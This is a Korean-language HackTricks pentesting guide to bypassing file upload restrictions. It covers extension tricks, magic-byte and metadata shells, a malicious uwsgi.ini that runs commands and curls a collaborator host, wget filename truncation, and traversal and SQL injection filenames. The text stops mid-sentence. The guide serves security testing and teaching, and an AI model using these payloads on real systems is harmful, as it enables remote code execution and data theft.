# 파일 업로드
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!!
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %}
## 파일 업로드 일반 방법론
다른 유용한 확장자:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **PHPv8에서 작동**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws 웹 서버**: _.yaws_
### 파일 확장자 확인 우회
1. 적용되는 경우 **이전 확장자를 확인**하십시오. 일부 **대문자를 사용하여 테스트**도 수행하십시오: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 **유효한 확장자를 추가**하는지 확인하십시오 (이전 확장자도 사용):_
* _file.png.php_
* _file.png.Php5_
3. **끝에 특수 문자를 추가**해보세요. Burp를 사용하여 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급된 **확장자**를 사용할 수도 있음_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. 서버 측 **확장자 파서를 속이는** 방어책을 우회하려고 시도하십시오. **확장자를 두 번** 또는 **확장자 사이에 쓰레기 데이터**(**null** 바이트)를 **더하는** 기술을 사용할 수 있습니다. _더 나은 페이로드를 준비하기 위해 **이전 확장자**를 사용할 수도 있습니다._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. 이전 확인에 **다른 확장자 계층을 추가**하십시오:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **유효한 확장자가 잘릴 수 있도록** 파일 이름 제한을 깨보세요. 악의적인 PHP가 남겨집니다. AAA<--SNIP-->AAA.php
```
# 리눅스 최대 255바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 뺀 후 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 페이로드 만들기
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, Magic Number, Compression & Resizing 우회
* **Content-Type** 체크 우회는 **Content-Type** **헤더**의 **값**을 다음으로 설정하여 수행할 수 있습니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* **매직 넘버** 체크 우회는 **실제 이미지의 바이트**를 파일의 시작 부분에 추가하여 수행할 수 있습니다 (_file_ 명령을 혼란스럽게 함). 또는 **메타데이터**에 **쉘을 삽입**할 수도 있습니다:\
`exiftool -Comment="' >> img.png`
* 이미지에 **압축이 추가**되는 경우, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일반적인 PHP 라이브러리를 사용하여, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크**를 사용하여 **압축을 생존시킬 텍스트를 삽입**할 수 있습니다. [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
* [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* 웹 페이지가 **이미지를 조정**하는 경우, 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용하는 경우, **IDAT 청크**를 사용하여 **압축을 생존시킬 텍스트를 삽입**할 수 있습니다. [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
* [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* **이미지 조정을 생존하는 페이로드**를 만들기 위한 다른 기술로 PHP-GD 함수 `thumbnailImage`를 사용할 수 있습니다. 그러나 **tEXt 청크**를 사용하여 **압축을 생존시킬 텍스트를 삽입**할 수도 있습니다. [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
* [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### 기타 확인할 트릭
* 이미 업로드된 파일의 이름을 **변경**하는 취약점을 찾아보세요 (확장자 변경).
* 백도어를 실행하기 위한 **로컬 파일 포함** 취약점을 찾아보세요.
* **가능한 정보 누출**:
1. **동일한 이름**의 **동일한 파일**을 **여러 번** (동시에) 업로드하세요.
2. 이미 존재하는 **파일** 또는 **폴더**의 **이름**을 가진 파일을 업로드하세요.
3. 파일 이름으로 **“.”, “..”, 또는 “…”**을 사용하여 파일을 업로드하세요. 예를 들어, Apache의 **Windows**에서, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 **“…:.jpg”**와 같이 쉽게 삭제되지 않을 수 있는 파일을 업로드하세요. (Windows)
5. 이름에 `|<>*?”`와 같은 **유효하지 않은 문자**가 포함된 파일을 **Windows**에 업로드하세요. (Windows)
6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 및 LPT9와 같이 **예약된** (**금지된**) **이름**을 사용하여 **Windows**에 파일을 업로드하세요.
* 실행 가능한 파일 (.exe) 또는 (의심이 적은) **.html**을 업로드하여 피해자가 실수로 열 때 **코드를 실행**하도록 시도하세요.
### 특별한 확장자 트릭
**PHP 서버**에 파일을 업로드하려는 경우, [**.htaccess** 트릭을 사용하여 코드를 실행하는 방법을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
**ASP 서버**에 파일을 업로드하려는 경우, [**.config** 트릭을 사용하여 코드를 실행하는 방법을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 java의 `.jar`와 유사하지만 php용이며, php로 실행하거나 스크립트 내에서 포함하여 **php 파일처럼 사용**할 수 있습니다.
`.inc` 확장자는 종종 파일을 **가져오기 위해 사용되는 php 파일**에 사용되며, 언젠가는 **이 확장자를 실행할 수 있도록 허용**할 수 있습니다.
## **Jetty RCE**
Jetty 서버에 XML 파일을 업로드할 수 있다면 [**새로운 \*.xml 및 \*.war가 자동으로 처리**되므로 RCE를 얻을 수 있습니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 쉘을 기대하세요!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
## **uWSGI RCE**
이 취약점에 대한 자세한 탐구를 위해 원본 연구를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행 (RCE) 취약점은 uWSGI 서버에서 `.ini` 구성 파일을 수정할 수 있는 경우에만 악용할 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 통합하기 위해 특정 구문을 활용합니다. 특히 '@' 연산자인 `@(filename)`는 파일의 내용을 포함하기 위해 설계되었습니다. uWSGI에서 지원하는 다양한 스키마 중에서 "exec" 스키마는 특히 강력하며, 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기와 같은 악의적인 목적으로 악용될 수 있습니다.
다음은 다양한 스키마를 보여주는 해로운 `uwsgi.ini` 파일의 예시입니다:
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
페이로드의 실행은 구성 파일을 구문 분석하는 동안 발생합니다. 구성이 활성화되고 구문 분석되려면 uWSGI 프로세스를 다시 시작해야 합니다(충돌 후 또는 서비스 거부 공격으로 인한 재시작) 또는 파일을 자동으로 다시로드해야 합니다. 자동 다시로드 기능이 활성화된 경우 변경 사항을 감지하면 지정된 간격으로 파일을 다시로드합니다.
uWSGI의 구성 파일 구문 분석의 관대한 성격을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 바이너리 파일(예: 이미지 또는 PDF)에 삽입될 수 있으며 잠재적인 악용 범위를 더욱 확대시킵니다.
## **wget 파일 업로드/SSRF 트릭**
가끔 서버가 **`wget`**를 사용하여 **파일을 다운로드**하는 경우가 있고 **URL**을 **지정**할 수 있습니다. 이러한 경우 코드는 다운로드된 파일의 확장자가 허용 목록 내에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 확인을 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**이지만 **wget**는 파일 이름을 **236**자로 줄입니다. "A"\*232+".php"+".gif"라는 이름의 파일을 다운로드할 수 있습니다. 이 파일 이름은 **확인을 우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`는 파일을 **"A"\*232+".php"**로 **이름을 바꿀 것**입니다.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
**다른 옵션**으로 이 체크를 우회할 수 있는 방법은 **HTTP 서버가 다른 파일로 리디렉션하도록** 만드는 것입니다. 따라서 초기 URL은 체크를 우회하게 되고, wget은 새 이름으로 리디렉트된 파일을 다운로드할 것입니다. 이 방법은 **wget이 `--trust-server-names` 매개변수와 함께 사용될 때만 작동**하며, 왜냐하면 **wget은 리디렉트된 페이지를 초기 URL에 표시된 파일 이름으로 다운로드**할 것이기 때문입니다.
## 도구
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass)는 파일 업로드 메커니즘을 테스트하는 데 도움을 주기 위해 설계된 강력한 도구입니다. 다양한 버그 바운티 기술을 활용하여 웹 애플리케이션의 취약점을 식별하고 악용하는 프로세스를 간소화하여 철저한 평가를 보장합니다.
## 파일 업로드에서 다른 취약점으로
* **파일 이름**을 `../../../tmp/lol.png`로 설정하고 **경로 이탈**을 시도해보세요
* **파일 이름**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다
* **파일 이름**을 `